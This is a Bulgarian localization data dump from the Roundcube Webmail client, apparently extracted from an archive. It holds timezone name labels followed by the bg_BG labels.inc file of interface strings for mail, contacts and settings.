$labels['tz:europe:luxembourg'] = 'Люксембург';
$labels['tz:europe:madrid'] = 'Мадрид';
$labels['tz:europe:malta'] = 'Малта';
$labels['tz:europe:mariehamn'] = 'Мариехамн';
$labels['tz:europe:minsk'] = 'Минск';
$labels['tz:europe:monaco'] = 'Монако';
$labels['tz:europe:moscow'] = 'Москва';
$labels['tz:europe:oslo'] = 'Осло';
$labels['tz:europe:paris'] = 'Париж';
$labels['tz:europe:podgorica'] = 'Подгорица';
$labels['tz:europe:prague'] = 'Прага';
$labels['tz:europe:riga'] = 'Рига';
$labels['tz:europe:rome'] = 'Рим';
$labels['tz:europe:samara'] = 'Самара';
$labels['tz:europe:san_marino'] = 'Сан Марино';
$labels['tz:europe:sarajevo'] = 'Сараево';
$labels['tz:europe:saratov'] = 'Саратов';
$labels['tz:europe:simferopol'] = 'Симферопол';
$labels['tz:europe:skopje'] = 'Скопие';
$labels['tz:europe:sofia'] = 'София';
$labels['tz:europe:stockholm'] = 'Стокхолм';
$labels['tz:europe:tallinn'] = 'Талин';
$labels['tz:europe:tirane'] = 'Тирана';
$labels['tz:europe:ulyanovsk'] = 'Уляновск';
$labels['tz:europe:uzhgorod'] = 'Ужгород';
$labels['tz:europe:vaduz'] = 'Вадуц';
$labels['tz:europe:vatican'] = 'Ватикана';
$labels['tz:europe:vienna'] = 'Виена';
$labels['tz:europe:vilnius'] = 'Вилнюс';
$labels['tz:europe:volgograd'] = 'Волгоград';
$labels['tz:europe:warsaw'] = 'Варшава';
$labels['tz:europe:zagreb'] = 'Загреб';
$labels['tz:europe:zaporozhye'] = 'Запорожие';
$labels['tz:europe:zurich'] = 'Цюрих';
$labels['tz:indian'] = 'Индийски океан';
$labels['tz:indian:antananarivo'] = 'Антананариво';
$labels['tz:indian:chagos'] = 'Чагос';
$labels['tz:indian:christmas'] = 'Остров Рождество';
$labels['tz:indian:cocos'] = 'Кокосови острови';
$labels['tz:indian:comoro'] = 'Коморски острови';
$labels['tz:indian:kerguelen'] = 'Кергелен';
$labels['tz:indian:mahe'] = 'Мае';
$labels['tz:indian:maldives'] = 'Малдиви';
$labels['tz:indian:mauritius'] = 'Мавриций';
$labels['tz:indian:mayotte'] = 'Майот';
$labels['tz:indian:reunion'] = 'Реюнион';
$labels['tz:pacific'] = 'Тихоокеанска';
$labels['tz:pacific:apia'] = 'Апия';
$labels['tz:pacific:auckland'] = 'Окланд';
$labels['tz:pacific:bougainville'] = 'Бугенвил';
$labels['tz:pacific:chatham'] = 'Чатъм';
$labels['tz:pacific:chuuk'] = 'Чуюк';
$labels['tz:pacific:easter'] = 'Великденски остров';
$labels['tz:pacific:efate'] = 'Ефате';
$labels['tz:pacific:enderbury'] = 'Ендербери';
$labels['tz:pacific:fakaofo'] = 'Факаофо';
$labels['tz:pacific:fiji'] = 'Фиджи';
$labels['tz:pacific:funafuti'] = 'Фунафути';
$labels['tz:pacific:galapagos'] = 'Галапагос';
$labels['tz:pacific:gambier'] = 'Гамбе';
$labels['tz:pacific:guadalcanal'] = 'Гуадалканал';
$labels['tz:pacific:guam'] = 'Гуам';
$labels['tz:pacific:honolulu'] = 'Хонолулу';
$labels['tz:pacific:johnston'] = 'Джонстън';
$labels['tz:pacific:kiritimati'] = 'Киритимати';
$labels['tz:pacific:kosrae'] = 'Кошрай';
$labels['tz:pacific:kwajalein'] = 'Куаджалин';
$labels['tz:pacific:majuro'] = 'Маджуро';
$labels['tz:pacific:marquesas'] = 'Маркизки острови';
$labels['tz:pacific:midway'] = 'Мидуей';
$labels['tz:pacific:nauru'] = 'Науру';
$labels['tz:pacific:niue'] = 'Ниуе';
$labels['tz:pacific:norfolk'] = 'Норфолк';
$labels['tz:pacific:noumea'] = 'Нумея';
$labels['tz:pacific:pago_pago'] = 'Паго Паго';
$labels['tz:pacific:palau'] = 'Палау';
$labels['tz:pacific:pitcairn'] = 'Питкерн';
$labels['tz:pacific:pohnpei'] = 'Помпей';
$labels['tz:pacific:port_moresby'] = 'Порт Морсби';
$labels['tz:pacific:rarotonga'] = 'Раротонга';
$labels['tz:pacific:saipan'] = 'Сайпан';
$labels['tz:pacific:tahiti'] = 'Таити';
$labels['tz:pacific:tarawa'] = 'Тарава';
$labels['tz:pacific:tongatapu'] = 'Тонгатапу';
$labels['tz:pacific:wake'] = 'Уейк';
$labels['tz:pacific:wallis'] = 'Уолис';
PK
h�\=���5�5�%program/localization/bg_BG/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Добре дошли в $product';
$labels['username'] = 'Потребител';
$labels['password'] = 'Парола';
$labels['server'] = 'Сървър';
$labels['login'] = 'Вход';
$labels['oauthlogin'] = 'Вход с $provider';
$labels['menu'] = 'Меню';
$labels['logout'] = 'Изход';
$labels['mail'] = 'Поща';
$labels['settings'] = 'Настройки';
$labels['addressbook'] = 'Адресна книга';
$labels['darkmode'] = 'Тъмен режим';
$labels['lightmode'] = 'Светъл режим';
$labels['inbox'] = 'Входящи';
$labels['drafts'] = 'Чернови';
$labels['sent'] = 'Изпратени';
$labels['trash'] = 'Кошче';
$labels['junk'] = 'Спам';
$labels['show_real_foldernames'] = 'Показва истинските имена на служебните папки';
$labels['subject'] = 'Заглавие';
$labels['from'] = 'От';
$labels['sender'] = 'Подател';
$labels['to'] = 'До';
$labels['cc'] = 'Копие до';
$labels['bcc'] = 'Скрито копие до';
$labels['replyto'] = 'Отговор до';
$labels['followupto'] = 'Препращане към';
$labels['date'] = 'Дата';
$labels['size'] = 'Размер';
$labels['priority'] = 'Приоритет';
$labels['organization'] = 'Организация';
$labels['readstatus'] = 'Статус (прочетено/ново)';
$labels['listoptions'] = 'Настройки на списък...';
$labels['listoptionstitle'] = 'Настройки на списък';
$labels['mailboxlist'] = 'Папки';
$labels['messagesfromto'] = 'Писма $from до $to от $count';
$labels['threadsfromto'] = 'Кореспонденции $from до $to от $count';
$labels['messagenrof'] = 'Писмо $nr от $count';
$labels['fromtoshort'] = '$from – $to от $count';
$labels['copy'] = 'Копиране';
$labels['move'] = 'Преместване';
$labels['moveto'] = 'Премести във...';
$labels['copyto'] = 'Копирай във...';
$labels['download'] = 'Изтегли';
$labels['open'] = 'Отвори';
$labels['showattachment'] = 'Покажи';
$labels['showanyway'] = 'Показване въпреки това';
$labels['filename'] = 'Име на файла';
$labels['filesize'] = 'Размер на файла';
$labels['addtoaddressbook'] = 'Добави в адресната книга';
$labels['sun'] = 'Нед';
$labels['mon'] = 'Пон';
$labels['tue'] = 'Вто';
$labels['wed'] = 'Сря';
$labels['thu'] = 'Чет';
$labels['fri'] = 'Пет';
$labels['sat'] = 'Съб';
$labels['sunday'] = 'Неделя';
$labels['monday'] = 'Понеделник';
$labels['tuesday'] = 'Вторник';
$labels['wednesday'] = 'Сряда';
$labels['thursday'] = 'Четвъртък';
$labels['friday'] = 'Петък';
$labels['saturday'] = 'Събота';
$labels['jan'] = 'Яну';
$labels['feb'] = 'Фев';
$labels['mar'] = 'Мар';
$labels['apr'] = 'Апр';
$labels['may'] = 'Май';
$labels['jun'] = 'Юни';
$labels['jul'] = 'Юли';
$labels['aug'] = 'Авг';
$labels['sep'] = 'Сеп';
$labels['oct'] = 'Окт';
$labels['nov'] = 'Ное';
$labels['dec'] = 'Дек';
$labels['longjan'] = 'Януари';
$labels['longfeb'] = 'Февруари';
$labels['longmar'] = 'Март';
$labels['longapr'] = 'Април';
$labels['longmay'] = 'Май';
$labels['longjun'] = 'Юни';
$labels['longjul'] = 'Юли';
$labels['longaug'] = 'Август';
$labels['longsep'] = 'Септември';
$labels['longoct'] = 'Октомври';
$labels['longnov'] = 'Ноември';
$labels['longdec'] = 'Декември';
$labels['today'] = 'Днес';
$labels['refresh'] = 'Обнови';
$labels['checkmail'] = 'Провери за нова поща';
$labels['compose'] = 'Напиши';
$labels['writenewmessage'] = 'Създай ново писмо';
$labels['reply'] = 'Отговор';
$labels['replytomessage'] = 'Отговори на подателя';
$labels['replytoallmessage'] = 'Отговори на списъка или на подателя и всички получатели';
$labels['replyall'] = 'Отговор на всички';
$labels['replylist'] = 'Отговор на списък';
$labels['forward'] = 'Препрати';
$labels['forwardinline'] = 'Препрати като цитат в писмото';
$labels['forwardattachment'] = 'Препрати като прикачен файл';
$labels['forwardmessage'] = 'Препрати писмото';
$labels['bouncemsg'] = 'Повторно изпращане (bounce)';
$labels['bounce'] = 'Повторно изпращане';
$labels['deletemessage'] = 'Изтрий писмото';
$labels['movemessagetotrash'] = 'Премести писмото в Кошче';
$labels['printmessage'] = 'Печат на писмото';
$labels['previousmessage'] = 'Предишно писмо';
$labels['firstmessage'] = 'Първо писмо';
$labels['nextmessage'] = 'Следващо писмо';
$labels['lastmessage'] = 'Последно писмо';
$labels['backtolist'] = 'Обратно към списъка';
$labels['viewsource'] = 'Покажи изходния код';
$labels['mark'] = 'Маркирай';
$labels['markmessages'] = 'Маркирай писмата';
$labels['markread'] = 'Като прочетени';
$labels['markunread'] = 'Като нови';
$labels['markflagged'] = 'Като отбелязани';
$labels['markunflagged'] = 'Като неотбелязани';
$labels['markundeleted'] = 'Като неизтрити';
$labels['moreactions'] = 'Допълнителни действия...';
$labels['markallread'] = 'Маркирай всички като прочетени';
$labels['folders-cur'] = 'Само за избраната папка';
$labels['folders-sub'] = 'Избраната папка и всички подпапки';
$labels['folders-all'] = 'Всички папки';
$labels['more'] = 'Още';
$labels['back'] = 'Назад';
$labels['options'] = 'Настройки';
$labels['composeoptions'] = 'Настройки за писане';
$labels['optionsandattachments'] = 'Настройки и прикачени файлове';
$labels['actions'] = 'Действия';
$labels['first'] = 'Първо';
$labels['last'] = 'Последно';
$labels['previous'] = 'Предишно';
$labels['next'] = 'Следващо';
$labels['select'] = 'Избери';
$labels['selection'] = 'Селекция';
$labels['all'] = 'Всички';
$labels['none'] = 'Остави без избор';
$labels['currpage'] = 'Всички на страницата';
$labels['isread'] = 'Прочетено';
$labels['unread'] = 'Нови';
$labels['flagged'] = 'Отбелязани';
$labels['unflagged'] = 'Без флаг';
$labels['unanswered'] = 'Без отговор';
$labels['withattachment'] = 'С прикачен файл';
$labels['deleted'] = 'Всички изтрити';
$labels['undeleted'] = 'Които не са изтрити';
$labels['replied'] = 'Отговорено';
$labels['forwarded'] = 'Препратено';
$labels['invert'] = 'Които не са избрани';
$labels['filter'] = 'Филтър';
$labels['list'] = 'Списък';
$labels['threads'] = 'Кореспонденции';
$labels['expand-all'] = 'Разгъни всички';
$labels['expand-unread'] = 'Разгъни непрочетените';
$labels['collapse-all'] = 'Сгъни всички';
$labels['threaded'] = 'Групирани по кореспонденции';
$labels['showunread'] = 'Покажи непрочетените писма';
$labels['autoexpand_threads'] = 'Разгъни кореспонденции';
$labels['do_expand'] = 'всички кореспонденции';
$labels['expand_only_unread'] = 'само с непрочетени писма';
$labels['fromto'] = 'От/До';
$labels['flag'] = 'Отбелязано';
$labels['attachment'] = 'Прикачен файл';
$labels['nonesort'] = 'Няма';
$labels['sentdate'] = 'Дата на изпращане';
$labels['arrival'] = 'Дата на получаване';
$labels['asc'] = 'нарастваща';
$labels['desc'] = 'намаляваща';
$labels['listcolumns'] = 'Колони на списък';
$labels['listsorting'] = 'Подреди по колона';
$labels['listorder'] = 'Посока на подреждане';
$labels['listmode'] = 'Изглед на списък';
$labels['lmode'] = 'Режим на списък';
$labels['layout'] = 'Оформление';
$labels['layoutwidescreen'] = 'Широк екран';
$labels['layoutdesktop'] = 'Настолен екран';
$labels['layoutlist'] = 'Списък';
$labels['layoutwidescreendesc'] = 'Широк екран (изглед с 3 колони)';
$labels['layoutdesktopdesc'] = 'Настолен екран (широк списък и преглед на пощата по-долу)';
$labels['layoutlistdesc'] = 'Списък (без преглед на пощата)';
$labels['folderactions'] = 'Действия за папки...';
$labels['compact'] = 'Уплътни данни';
$labels['empty'] = 'Изпразни';
$labels['importmessages'] = 'Импорт на писма';
$labels['mailimportdesc'] = 'Можете да качвате поща като използвате файлове във формат <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> или <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Няколко файла могат да бъдат компресирани в zip архиви.';
$labels['quota'] = 'Използвано място';
$labels['unknown'] = 'няма информация';
$labels['unlimited'] = 'без ограничение';
$labels['quotatype'] = 'Тип квота';
$labels['quotatotal'] = 'Лимит';
$labels['quotaused'] = 'Използвано';
$labels['quotastorage'] = 'Дисково пространство';
$labels['quotamessage'] = 'Брой писма';
$labels['shortheaderdate'] = 'На $date';
$labels['shortheaderto'] = 'До $to на $date';
$labels['shortheaderfrom'] = 'От $from на $date';
$labels['quicksearch'] = 'Бързо търсене';
$labels['searchplaceholder'] = 'Търсене...';
$labels['resetsearch'] = 'Изчисти филтър и покажи всичко';
$labels['searchmod'] = 'Филтър по';
$labels['msgtext'] = 'Цялото писмо';
$labels['body'] = 'Основен текст';
$labels['type'] = 'Тип';
$labels['namex'] = 'Име';
$labels['searchscope'] = 'Обхват';
$labels['currentfolder'] = 'Текуща папка';
$labels['subfolders'] = 'Тази и подпапките';
$labels['allfolders'] = 'Всички папки';
$labels['searchinterval-1W'] = 'по-стари от седмица';
$labels['searchinterval-1M'] = 'по-стари от месец';
$labels['searchinterval-1Y'] = 'по-стари от година';
$labels['searchinterval1W'] = 'по-нови от седмица';
$labels['searchinterval1M'] = 'по-нови от месец';
$labels['searchinterval1Y'] = 'по-нови от година';
$labels['openinextwin'] = 'Отвори в нов прозорец';
$labels['emlsave'] = 'Изтегли (.eml)';
$labels['changeformattext'] = 'Покажи в текстов формат';
$labels['changeformathtml'] = 'Покажи в HTML формат';
$labels['editasnew'] = 'Редактирай като ново';
$labels['send'] = 'Изпрати';
$labels['sendmessage'] = 'Изпрати писмото';
$labels['savemessage'] = 'Запиши като чернова';
$labels['addattachment'] = 'Прикачване на файл';
$labels['charset'] = 'Кодова таблица';
$labels['editortype'] = 'Вид редактор';
$labels['returnreceipt'] = 'Обратна разписка';
$labels['dsn'] = 'Нотификация при доставка';
$labels['keepformatting'] = 'Запази форматирането';
$labels['mailreplyintro'] = 'На $date, $sender написа:';
$labels['originalmessage'] = 'Оригинално писмо';
$labels['selectimage'] = 'Избери изображение';
$labels['addimage'] = 'Добави изображение';
$labels['selectmedia'] = 'Избери клип';
$labels['addmedia'] = 'Добави клип';
$labels['encrypt'] = 'Криптиране';
$labels['encryptmessage'] = 'Криптирай писмо';
$labels['encryptmessagemailvelope'] = 'Криптирай писмо с Mailvelope';
$labels['importpubkeys'] = 'Внасяне на публични ключове';
$labels['encryptedsendialog'] = 'Изпращане на криптирано писмо';
$labels['encryptandsign'] = 'Криптиране и подписване';
$labels['keyid'] = 'ИН на ключ';
$labels['keylength'] = 'Бита';
$labels['keyexpired'] = 'Изтекъл';
$labels['keyrevoked'] = 'Отменен';
$labels['bccinstead'] = 'Използвай Скрито копие до';
$labels['addheader'] = 'Добави получател (заглавен блок)';
$labels['insert'] = 'Вмъкване';
$labels['insertcontact'] = 'Вмъкване на контакт(и)';
$labels['recipient'] = 'Получател';
$labels['recipientedit'] = 'Редактиране на получател';
$labels['editidents'] = 'Промени самоличности';
$labels['spellcheck'] = 'Правопис';
$labels['checkspelling'] = 'Проверка на правописа';
$labels['resumeediting'] = 'Продължи черновата';
$labels['revertto'] = 'Върни се към';
$labels['restore'] = 'Възстанови';
$labels['restoremessage'] = 'Възстановяване на съобщението?';
$labels['ignore'] = 'Игнорирай';
$labels['responses'] = 'Отговори';
$labels['insertresponse'] = 'Вмъкване на отговор';
$labels['manageresponses'] = 'Настройка на отговори';
$labels['newresponse'] = 'Създай нов отговор';
$labels['addresponse'] = 'Добавяне на отговор';
$labels['editresponse'] = 'Редакция на отговор';
$labels['editresponses'] = 'Редакция на отговори';
$labels['responsename'] = 'Име';
$labels['responsetext'] = 'Текст на отговор';
$labels['attach'] = 'Прикачи';
$labels['attachments'] = 'Прикачени файлове';
$labels['upload'] = 'Качи';
$labels['uploadprogress'] = '$percent ($current от $total)';
$labels['close'] = 'Затвори';
$labels['messageoptions'] = 'Настройки на писма...';
$labels['togglecomposeoptions'] = 'Превключване опции за създаване';
$labels['attachmentrename'] = 'Преименуване на прикачен файл';
$labels['low'] = 'Нисък';
$labels['lowest'] = 'Най-нисък';
$labels['normal'] = 'Нормален';
$labels['high'] = 'Висок';
$labels['highest'] = 'Най-висок';
$labels['nosubject'] = '(няма заглавие)';
$labels['showimages'] = 'Показвай изображения';
$labels['allow'] = 'Разреши';
$labels['alwaysshow'] = 'Винаги показвай изображения от $sender';
$labels['alwaysallow'] = 'Винаги разрешавай от $sender';
$labels['isdraft'] = 'Това писмо е чернова.';
$labels['andnmore'] = 'още $nr...';
$labels['details'] = 'Детайли';
$labels['summary'] = 'Резюме';
$labels['headers'] = 'Заглавни блокове';
$labels['allheaders'] = 'Всички заглавни блокове';
$labels['togglemoreheaders'] = 'Покажи още заглавни блокове';
$labels['togglefullheaders'] = 'Изходни заглавни блокове';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Текстово';
$labels['savesentmessagein'] = 'Запази изпратеното писмо в';
$labels['dontsave'] = 'не запазвай';
$labels['maxuploadsize'] = 'Максимален размер на файл е $size';
$labels['addcc'] = 'Добави Копие до';
$labels['addbcc'] = 'Добави Скрито копие до';
$labels['addreplyto'] = 'Добави Отговор до';
$labels['addfollowupto'] = 'Добави Препращане към';
$labels['sendreceipt'] = 'Да се ​​изпрати ли обратна разписка?';
$labels['mdnrequest'] = 'Подателят е поискал да бъде уведомен, че сте прочели това писмо. Желаете ли да изпратите обратна разписка?';
$labels['receiptread'] = 'Обратна разписка (прочетено)';
$labels['yourmessage'] = 'Това е обратна разписка относно писмото Ви';
$labels['receiptnote'] = 'Забележка: Тази разписка потвърждава само, че писмото е било визуализирано на екрана на получателят. Няма никаква гаранция, че той е разбрал и/или дори прочел неговото съдържание.';
$labels['sendalwaysto'] = 'Винаги изпращай до $email';
$labels['zoomin'] = 'Увеличаване';
$labels['zoomout'] = 'Намаляване';
$labels['rotate'] = 'Завъртане';
$labels['increaseimage'] = 'Увеличаване размера на изображението';
$labels['decreaseimage'] = 'Намаляване размера на изображението';
$labels['rotateimage'] = 'Завъртане на изображението';
$labels['showtools'] = 'Показване на инструменти за изображения';
$labels['hidetools'] = 'Скриване на инструменти за изображения';
$labels['name'] = 'Екранно име';
$labels['firstname'] = 'Име';
$labels['surname'] = 'Фамилия';
$labels['middlename'] = 'Презиме';
$labels['nameprefix'] = 'Титла';
$labels['namesuffix'] = 'Наставка';
$labels['nickname'] = 'Псевдоним';
$labels['jobtitle'] = 'Длъжност';
$labels['department'] = 'Отдел';
$labels['gender'] = 'Пол';
$labels['maidenname'] = 'Моминско име';
$labels['email'] = 'Ел. поща';
$labels['phone'] = 'Телефон';
$labels['address'] = 'Адрес';
$labels['street'] = 'Улица';
$labels['locality'] = 'Град';
$labels['zipcode'] = 'Пощенски код';
$labels['region'] = 'Област';
$labels['country'] = 'Държава';
$labels['birthday'] = 'Рожден ден';
$labels['anniversary'] = 'Дата годишнина';
$labels['website'] = 'Сайт';
$labels['instantmessenger'] = 'Месинджър';
$labels['notes'] = 'Бележки';
$labels['male'] = 'мъж';
$labels['female'] = 'жена';
$labels['manager'] = 'Мениджър';
$labels['assistant'] = 'Асистент';
$labels['spouse'] = 'Съпруг(а)';
$labels['allfields'] = 'Всички полета';
$labels['search'] = 'Търсене';
$labels['searchresult'] = 'Резултат от търсене';
$labels['advsearch'] = 'Разширено търсене';
$labels['advanced'] = 'Търси';
$labels['other'] = 'Други';
$labels['printcontact'] = 'Печат на контакт';
$labels['qrcode'] = 'QR Код';
$labels['typehome'] = 'Домашен';
$labels['typework'] = 'Служебен';
$labels['typeother'] = 'Друг';
$labels['typemobile'] = 'Мобилен';
$labels['typemain'] = 'Основен';
$labels['typehomefax'] = 'Домашен факс';
$labels['typeworkfax'] = 'Служебен факс';
$labels['typecar'] = 'В колата';
$labels['typepager'] = 'Пейджър';
$labels['typevideo'] = 'Със видео';
$labels['typeassistant'] = 'На асистент';
$labels['typehomepage'] = 'Личен';
$labels['typeblog'] = 'Блог';
$labels['typeprofile'] = 'Профил';
$labels['addfield'] = 'Добави поле...';
$labels['addcontact'] = 'Добави контакт';
$labels['editcontact'] = 'Редактирай контакт';
$labels['contacts'] = 'Контакти';
$labels['contactproperties'] = 'Данни на контакт';
$labels['contactnameandorg'] = 'Име и Организация';
$labels['personalinfo'] = 'Лична информация';
$labels['personal'] = 'Лична';
$labels['contactphoto'] = 'Снимка на контакт';
$labels['edit'] = 'Редактирай';
$labels['cancel'] = 'Отказ';
$labels['save'] = 'Запис';
$labels['delete'] = 'Изтрий';
$labels['discard'] = 'Изхвърли';
$labels['continue'] = 'Продължи';
$labels['ok'] = 'ОК';
$labels['rename'] = 'Преименувай';
$labels['addphoto'] = 'Добави';
$labels['replacephoto'] = 'Замени';
$labels['uploadphoto'] = 'Качване на снимка';
$labels['choosefile'] = 'Изберете файл...';
$labels['choosefiles'] = 'Изберете файлове...';
$labels['browse'] = 'Преглед';
$labels['newcontact'] = 'Създай нов контакт';
$labels['deletecontact'] = 'Изтрий избраните контакти';
$labels['composeto'] = 'Напиши писмо до';
$labels['contactsfromto'] = 'Контакти $from до $to от $count';
$labels['print'] = 'Печат';
$labels['export'] = 'Експорт';
$labels['exportall'] = 'Експортиране на всичко';
$labels['exportsel'] = 'Експортиране на избраното';
$labels['exportvcards'] = 'Експорт във vCard формат';
$labels['newgroup'] = 'Създай нова група';
$labels['addgroup'] = 'Добави група';
$labels['grouprename'] = 'Преименувай групата';
$labels['groupdelete'] = 'Изтрий групата';
$labels['groupassign'] = 'Добави към група...';
$labels['groupremove'] = 'Премахни от групата';
$labels['groupremoveselected'] = 'Премахни избраните контакти от групата';
$labels['uponelevel'] = 'Нагоре едно ниво';
$labels['previouspage'] = 'Предишна страница';
$labels['firstpage'] = 'Първа страница';
$labels['nextpage'] = 'Следваща страница';
$labels['lastpage'] = 'Последна страница';
$labels['group'] = 'Група';
$labels['groups'] = 'Групи';
$labels['listgroup'] = 'Покажи членове на групата';
$labels['personaladrbook'] = 'Лични адреси';
$labels['searchsave'] = 'Запази филтър';
$labels['searchdelete'] = 'Изтрий филтър';
$labels['import'] = 'Импорт';
$labels['importcontacts'] = 'Импортиране на контакти';
$labels['importfromfile'] = 'Импорт от файл';
$labels['importtarget'] = 'Добави контакти към';
$labels['importreplace'] = 'Замени цялата адресна книга';
$labels['importgroups'] = 'Импорт на задачи на група';
$labels['importgroupsall'] = 'Всички (създава групи ако е необходимо)';
$labels['importgroupsexisting'] = 'Само за съществуващите групи';
$labels['importdesc'] = 'Можете да качвате контакти от съществуваща адресна книга.<br/>В момента поддържаме импорт на адреси от формати <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> или CSV (comma-separated).';
$labels['importmapdesc'] = 'Уверете се, че информацията за свързване на полето по-долу е вярна, преди да продължите с импортирането на CSV (разделени със запетая) данни';
$labels['fieldnotmapped'] = 'Полето не е свързано (не импортирай)';
$labels['skipheader'] = 'Не импортирай първия ред (заглавки)';
$labels['done'] = 'Готово';
$labels['settingsfor'] = 'Настройки за';
$labels['about'] = 'Относно';
$labels['preferences'] = 'Настройки';
$labels['userpreferences'] = 'Потребителски настройки';
$labels['editpreferences'] = 'Редактирай потребителските настройки';
$labels['identities'] = 'Самоличности';
$labels['manageidentities'] = 'Управление самоличности';
$labels['newidentity'] = 'Създай нова самоличност';
$labels['addidentity'] = 'Добави самоличност';
$labels['editidentity'] = 'Редактирай самоличност';
$labels['identityencryption'] = 'Криптиране';
$labels['preferhtml'] = 'Покажи първо HTML версия';
$labels['defaultcharset'] = 'Кодова таблица по подразбиране';
$labels['htmlmessage'] = 'HTML писмо';
$labels['messagepart'] = 'Част';
$labels['digitalsig'] = 'Електронен Подпис';
$labels['dateformat'] = 'Формат на дати';
$labels['timeformat'] = 'Формат на време';
$labels['prettydate'] = 'Удобни дати';
$labels['setdefault'] = 'По подразбиране';
$labels['autodetect'] = 'Автоматично';
$labels['language'] = 'Език';
$labels['timezone'] = 'Часова зона';
$labels['pagesize'] = 'Редове на страница';
$labels['signature'] = 'Подпис';
$labels['dstactive'] = 'Маркирай при лятно време';
$labels['showinextwin'] = 'Отваряй писмата в отделен прозорец';
$labels['composeextwin'] = 'Писане на ново писмо в отделен прозорец';
$labels['htmleditor'] = 'Писане на ново писмо като HTML';
$labels['htmlonreply'] = 'само при отговор на HTML писмо';
$labels['htmlonreplyandforward'] = 'само при препращане или отговор на HTML писмо';
$labels['htmlsignature'] = 'HTML подпис';
$labels['showemail'] = 'Показва адрес на ел. поща с екранното име';
$labels['previewpane'] = 'Показване на панел за преглед';
$labels['skin'] = 'Изглед на потребителски интерфейс';
$labels['logoutclear'] = 'Изпразни Кошчето при изход';
$labels['logoutcompact'] = 'Уплътни данни във Входящи при изход';
$labels['uisettings'] = 'Потребителски интерфейс';
$labels['serversettings'] = 'Настройки на сървъра';
$labels['mailboxview'] = 'Изглед на пощенска кутия';
$labels['mdnrequests'] = 'При искане за обратна разписка';
$labels['askuser'] = 'задай въпрос';
$labels['autosend'] = 'изпрати автоматично винаги';
$labels['autosendknown'] = 'изпрати автоматично само на моите контакти, иначе задай въпрос';
$labels['autosendknownignore'] = 'изпрати автоматично само на моите контакти, иначе отхвърли';
$labels['autosendtrusted'] = 'изпращай разписка на доверените податели, в противен случай ме попитай';
$labels['autosendtrustedignore'] = 'изпращай разписка на доверените податели, в противен случай игнорирай';
$labels['ignorerequest'] = 'игнорирай искането';
$labels['readwhendeleted'] = 'Маркирай писмото като прочетено при изтриване';
$labels['flagfordeletion'] = 'Отбележи писмото за изтриване';
$labels['skipdeleted'] = 'Не показвай изтритите писма';
$labels['deletealways'] = 'При неуспешно местене на писмо в Кошче, изтрий директно';
$labels['deletejunk'] = 'В папка Спам изтривай писмата без местене в Кошче';
$labels['showremoteimages'] = 'Покажи вградени изображения';
$labels['allowremoteresources'] = 'Разрешаване на отдалечени ресурси (изображения, стилове)';
$labels['fromknownsenders'] = 'от познати податели';
$labels['fromtrustedsenders'] = 'от доверени податели';
$labels['frommycontacts'] = 'от моите контакти';
$labels['always'] = 'винаги';
$labels['alwaysbutplain'] = 'винаги, освен когато е отговор на текстов формат';
$labels['showinlineimages'] = 'Покажи прикачените изображения след писмото';
$labels['autosavedraft'] = 'Автоматично записвай чернова';
$labels['everynminutes'] = 'през $n минути';
$labels['refreshinterval'] = 'Проверявай за нова поща';
$labels['never'] = 'никога';
$labels['immediately'] = 'веднага';
$labels['messagesdisplaying'] = 'Показване на писма';
$labels['messagescomposition'] = 'Писане на писма';
$labels['mimeparamfolding'] = 'Имена на прикачени файлове';
$labels['2231folding'] = 'Според RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'Според RFC 2047 (други)';
$labels['force7bit'] = 'Използване на MIME кодиране за 8-битови символи';
$labels['savelocalstorage'] = "Запазване в локално хранилище на баузъра (временно)";
$labels['advancedoptions'] = 'Разширени настройки';
$labels['toggleadvancedoptions'] = 'Превключване на разширени опции';
$labels['focusonnewmessage'] = 'Премигване на прозореца при ново писмо';
$labels['checkallfolders'] = 'Проверка за нови писма във всички папки ';
$labels['displaynext'] = 'Покажи следващия запис от списъка след изтриване/преместване';
$labels['defaultfont'] = 'Шрифт по подразбиране за HTML писма';
$labels['mainoptions'] = 'Основни настройки';
$labels['browseroptions'] = 'Настройки на текущ браузър';
$labels['section'] = 'Секция';
$labels['maintenance'] = 'Поддръжка папки';
$labels['newmessage'] = 'Ново писмо';
$labels['signatureoptions'] = 'Настройки на подпис';
$labels['whenreplying'] = 'При отговор на писмо';
$labels['replyempty'] = 'не цитирай оригиналното писмо';
$labels['replytopposting'] = 'започни новото писмо над цитата';
$labels['replytoppostingnoindent'] = 'започни новото писмо над цитата (no indentation)';
$labels['replybottomposting'] = 'започни новото писмо след цитата';
$labels['replyremovesignature'] = 'При отговор на писмо премахни предишния подпис';
$labels['autoaddsignature'] = 'Автоматично добавяй подпис';
$labels['newmessageonly'] = 'само на нови писма';
$labels['replyandforwardonly'] = 'само на отговори и препратени';
$labels['insertsignature'] = 'Вмъкване на подпис';
$labels['sigbelow'] = 'Постави подписа след цитираното съобщение';
$labels['sigseparator'] = 'Използвай стандартен разделител в подписите';
$labels['automarkread'] = 'Маркиране на писмата като прочетени';
$labels['afternseconds'] = 'след $n секунди';
$labels['reqmdn'] = 'Винаги изисквай обратна разписка';
$labels['reqdsn'] = 'Винаги изисквай статус доставка на писмото';
$labels['replysamefolder'] = 'Постави отговор в папка на писмото, на което се отговаря';
$labels['defaultabook'] = 'Адресна книга по подразбиране';
$labels['autocompletesingle'] = 'Пропусни алтернативни адреси на ел. поща при автоматично попълване';
$labels['listnamedisplay'] = 'Форматирай списък с контакти като';
$labels['contactformmode'] = 'Режим на форма за контакт';
$labels['privatemode'] = 'Личен (Домашен)';
$labels['businessmode'] = 'Бизнес (Служебен)';
$labels['collectedaddresses'] = 'Събрани адреси';
$labels['collectedrecipients'] = 'Събрани Получатели';
$labels['collectedrecipientsopt'] = 'Съхранявай получателите на изходящи писма в';
$labels['collectedsendersopt'] = 'Съхранявай доверените податели в';
$labels['trustedsenders'] = 'Доверени Податели';
